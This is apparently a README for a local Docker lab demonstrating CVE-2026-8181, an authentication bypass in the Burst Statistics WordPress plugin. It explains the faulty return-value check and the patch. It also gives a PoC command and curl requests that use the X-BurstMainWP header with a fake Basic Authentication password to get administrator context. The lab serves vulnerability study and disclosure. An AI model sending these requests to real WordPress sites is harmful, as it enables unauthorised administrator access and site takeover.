## https://sploitus.com/exploit?id=95B9E42C-CF18-58D5-AD11-6D4AE64471D3
# CVE-2026-8181 โ Burst Statistics Authentication Bypass Lab
Local-only Docker lab for **CVE-2026-8181**, an authentication bypass in the WordPress plugin **Burst Statistics โ Privacy-Friendly WordPress Analytics**.
This lab compares a vulnerable plugin version against the patched version and uses a least-harm PoC to prove the difference without creating users, uploading files, or modifying WordPress state.
## Summary
**Affected plugin:** Burst Statistics โ Privacy-Friendly WordPress Analytics
**Affected versions:** `3.4.0` to `3.4.1.1`
**Patched version:** `3.4.2`
**Vulnerability type:** Authentication Bypass / Improper Authentication
**Impact:** Unauthenticated attacker can impersonate an administrator for the duration of a REST API request if they know a valid administrator username.
In this lab:
* `vuln` runs Burst Statistics `3.4.1.1`
* `patched` runs Burst Statistics `3.4.2`
* The PoC sends a fake Basic Authentication password with `X-BurstMainWP: 1`
* The vulnerable service treats the request as administrator
* The patched service rejects the same request
## Lab Architecture
| Service | Description | URL |
| ------------ | -------------------------------------- | ----------------------- |
| `vuln` | WordPress + Burst Statistics `3.4.1.1` | `http://127.0.0.1:8081` |
| `patched` | WordPress + Burst Statistics `3.4.2` | `http://127.0.0.1:8082` |
| `db_vuln` | MySQL for vulnerable WordPress | Internal only |
| `db_patched` | MySQL for patched WordPress | Internal only |
| `seed` | One-shot WP-CLI setup container | Internal only |
The `seed` service installs WordPress, creates the lab administrator, and activates Burst Statistics in both environments.
Lab administrator username:
```text
labadmin
```
The PoC intentionally uses a wrong password to prove the bypass.
## Root Cause
Burst Statistics includes a MainWP-related proxy authentication path. When a REST API request includes this header:
```http
X-BurstMainWP: 1
```
Burst delegates authentication to `MainWP_Proxy::is_mainwp_authenticated()`.
In the vulnerable version, the function reads attacker-controlled Basic Authentication credentials, extracts the username and password, and passes them to WordPress core:
```php
$is_valid = wp_authenticate_application_password( null, $username, $password );
```
The bug is the return-value check.
### Vulnerable Logic: `3.4.1.1`
Simplified from `includes/Frontend/class-mainwp-proxy.php`:
```php
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
```
The vulnerable code only rejects `WP_Error`. However, `wp_authenticate_application_password()` may return `null` or another non-user value when authentication did not actually succeed. Since `null` is not a `WP_Error`, the check passes.
After that, the plugin looks up the supplied username and calls:
```php
wp_set_current_user( $user->ID );
```
This makes WordPress treat the current REST API request as that user. If the username belongs to an administrator, WordPress capability checks see an administrator for the rest of the request.
## Patch Logic
The patched version fixes the authentication check by requiring a real authenticated user object before proceeding.
### Patched Logic: `3.4.2`
Conceptually, the fix is:
```php
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
```
The important change is that a merely โnon-errorโ return value is no longer enough. The authentication result must be an actual `\WP_User` object.
This blocks the vulnerable path where `null` bypasses the old `is_wp_error()` check.
## Why This Matters
The lab demonstrates a read-only proof using:
```text
/wp/v2/users/me?context=edit
```
That endpoint is enough to show whether WordPress considers the request authenticated.
Real-world impact can be higher than this lab proof. If an attacker can impersonate an administrator for a REST API request, they may be able to access privileged WordPress endpoints. In common WordPress configurations, administrator access can lead to persistent site takeover through account creation, application passwords, plugin installation, theme modification, or other administrative actions.
This repository intentionally avoids those destructive paths.
## Run
```bash
docker compose up -d --build
```
Wait for the one-shot seed service to finish:
```bash
docker compose logs seed
```
Expected seed output:
```text
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
```
Install Python dependency:
```bash
python3 -m venv .venv
source .venv/bin/activate
pip install requests
```
Run the PoC against the vulnerable service:
```bash
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
```
Expected vulnerable result:
```text
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
```
Run the same PoC against the patched service:
```bash
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
```
Expected patched result:
```text
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
```
## Manual Test
Generate a fake Basic Authentication token:
```bash
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
```
### Vulnerable Service
Baseline request without bypass headers:
```bash
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
```
Expected:
```text
HTTP/1.1 401 Unauthorized
rest_not_logged_in
```
Bypass attempt:
```bash
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
```
Expected:
```text
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
```
### Patched Service
Run the same bypass attempt against the patched service:
```bash
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
```
Expected:
```text
HTTP/1.1 401 Unauthorized
rest_not_logged_in
```
## Server-Side Evidence
The vulnerable service shows the behavior change clearly:
```text
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
```
The patched service rejects both unauthenticated and bypass attempts:
```text
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
```
## Safety Notes
This PoC is intentionally least-harm:
* No administrator account creation
* No application password creation
* No plugin upload
* No theme modification
* No command execution
* No persistent state change
* Localhost-only guard in the PoC script
Use this lab only on your own local Docker environment.
## References
* NVD โ CVE-2026-8181: [https://nvd.nist.gov/vuln/detail/CVE-2026-8181](https://nvd.nist.gov/vuln/detail/CVE-2026-8181)
* Wordfence technical analysis: [https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/](https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/)
* Vulnerable source reference, Burst Statistics 3.4.1.1: [https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php)
* Patched source reference, Burst Statistics trunk / 3.4.2 path: [https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php)
* Admin helper entry point: [https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php)